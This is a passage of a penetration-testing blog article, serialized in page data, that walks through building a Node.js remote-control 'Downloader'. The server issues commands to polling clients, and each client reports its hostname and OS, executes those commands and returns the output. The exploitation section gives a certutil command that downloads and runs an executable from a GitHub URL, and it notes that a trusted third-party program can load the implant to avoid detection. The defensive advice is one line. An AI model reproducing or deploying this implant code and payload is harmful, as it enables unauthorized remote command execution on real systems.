data\u003C\u002Fli>\u003Cli>Filter client packets, return control commands to clients meeting condition 1, display command execution results sent by clients meeting condition 2 on the current console, otherwise return a 404 page\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Client\u003C\u002Fh4>\u003Cul>\u003Cli>Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version\u003C\u002Fli>\u003Cli>Receive control commands returned by the server, execute them, and then send the results back to the server\u003C\u002Fli>\u003Cli>If the server does not respond, wait for a period of time before sending the post request again\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch4>1. Execute cmd commands via Node.js\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function runcmd(command) {\u003Cbr>\tvar childprocess = require('child_process');\u003Cbr>\tchildprocess.exec(command, (err, stdout, stderr) =&gt; {\u003Cbr>  \tif (err) {\u003Cbr>    \t\tconsole.error(err);\u003Cbr>    \t\treturn;\u003Cbr>  \t}\u003Cbr>  \tconsole.log(stdout);\u003Cbr>\t});\u003Cbr>}\u003Cbr>runcmd('whoami');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Implementation of HTTP Communication\u003C\u002Fh4>\u003Cp>Server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var http = require('http');\u003Cbr>var querystring = require('querystring');\u003Cbr>http.createServer(function (req, res) {\u003Cbr>    \tvar body = '';\u003Cbr>    \tconsole.log('req.url:',req.url);\u003Cbr>    \treq.on('data', function (chunk) {\u003Cbr>\t\tbody += chunk;\u003Cbr>        \tconsole.log(\"chunk:\",chunk);\u003Cbr>    \t});\u003Cbr>    \treq.on('end', function () {\u003Cbr>        \tbody = querystring.parse(body);  \u003Cbr>        \tconsole.log('body:',body);\u003Cbr>        \tres.write('Message from server');\u003Cbr>        \tres.end();\u003Cbr>    \t});\u003Cbr>}).listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>sendHello('127.0.0.1','3000');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client sends post data to Server, content is data1=str1&amp;data2=str2\u003C\u002Fp>\u003Cp>After receiving the request, Server replies to Client with 'Message from server'\u003C\u002Fp>\u003Ch4>3. Implementation of sleep\u003C\u002Fh4>\u003Cp>Node.js does not support sleep operation by default, it can be implemented as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile (new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>var timeinterval = +'5000';\u003Cbr>sleep(timeinterval);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Convert string type to number by adding + in front\u003C\u002Fp>\u003Ch4>4. Client periodically sends post requests in a loop\u003C\u002Fh4>\u003Cp>Here we need to consider asynchronous and synchronous issues\u003C\u002Fp>\u003Cp>Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:\u003C\u002Fp>\u003Cp>Server:\u003C\u002Fp>\u003Cp>Code same as above\u003C\u002Fp>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime()&lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>while (true)\u003Cbr>{\u003Cbr>\tconsole.log('1');\u003Cbr>\tsleep(5000);\u003Cbr>\tsendHello('127.0.0.1','3000');\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Expected result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Client sends a POST request every 5 seconds and receives the result\u003C\u002Fp>\u003Cp>\u003Cstrong>Actual result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The loop executes every 5 seconds, but the Client does not send a request\u003C\u002Fp>\u003Cp>Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization\u003C\u002Fp>\u003Cp>Finally, I resolved the synchronization issue through method nesting, as shown in the following example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function A(){\u003Cbr>\tconsole.log('A');\u003Cbr>\tB();\u003Cbr>}\u003Cbr>function B(){\u003Cbr>\tconsole.log('B');\u003Cbr>\tsleep(5000);\u003Cbr>\tA();\u003Cbr>}\u003Cbr>A();\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. Server displays Client's IP\u003C\u002Fh4>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function getClientIp(req) {\u003Cbr>        return req.headers['x-forwarded-for'] ||\u003Cbr>        req.connection.remoteAddress ||\u003Cbr>        req.socket.remoteAddress ||\u003Cbr>        req.connection.socket.remoteAddress;\u003Cbr>};\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Default format is IPv6, for example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>::ffff:127.0.0.1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Can be specified as IPv4 by modifying listen parameters\u003C\u002Fp>\u003Cp>Before modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>6. The server checks the POST request and replies with 404 if it does not meet requirements.\u003C\u002Fh4>\u003Cp>Simply check the content of the body.\u003C\u002Fp>\u003Cp>The complete implementation code has been open-sourced at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The open-source code is merely an example, used to demonstrate NodeJS functionality.\u003C\u002Fp>\u003Cp>Usage is as follows:\u003C\u002Fp>\u003Cp>First, obtain node.exe from the download address: https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Ch4>1. Edit the file Server.js\u003C\u002Fh4>\u003Cp>You can compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Command sent to the client: var command\u003C\u002Fli>\u003Cli>Listen on port: .listen(80,'0.0.0.0');\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Start the Server\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Server.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.\u003C\u002Fp>\u003Cp>Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page\u003C\u002Fp>\u003Ch4>3. Edit the file Client.js\u003C\u002Fh4>\u003Cp>Compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Server IP: var serverip\u003C\u002Fli>\u003Cli>Server port: var serverport\u003C\u002Fli>\u003Cli>Loop interval time: var timeinterval\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>4. Start Client\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Client.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version\u003C\u002Fp>\u003Cp>Then receive control commands returned by the Server, execute them, and send the results back to the Server\u003C\u002Fp>\u003Cp>If the Server does not respond, wait for a period before sending the post request again\u003C\u002Fp>\u003Ch2>0x05 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch4>1. The open-source code supports multiple payloads\u003C\u002Fh4>\u003Cp>The payload can be set to download and execute files, for example\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'certutil -urlcache -split -f https:\u002F\u002Fgithub.com\u002F3gstudent\u002Ftest\u002Fraw\u002Fmaster\u002Fputty.exe c:\\\\a.exe&amp;&amp;c:\\\\a.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To send a command for Client exit, use:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'taskkill \u002Ff \u002Fim node.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Can be loaded by third-party trusted programs\u003C\u002Fh4>\u003Cp>Reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Cp>t.exe -&gt; node.exe -&gt; main.js\u003C\u002Fp>\u003Cp>Demonstration as shown:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017235635_0_2b4b3f0fb8-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.\u003C\u002Fp>\u003Cp>It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",726,"Onedaysec",6,"published","2026-02-02T07:38:21.197Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Node.js Penetration Testing: Downloader Implementation Guide","Node.js penetration testing, downloader implementation, active defense bypass, cybersecurity, file dropper, JavaScript security",null,false,[],{"docs":43,"hasNextPage":40},[44,45,46,4,47],861,860,859,857,{"title":39,"description":39,"image":39},"2026-07-24T15:37:11.167Z","2026-07-23T16:02:12.448Z","draft","2026-07-23T16:15:09.778Z"]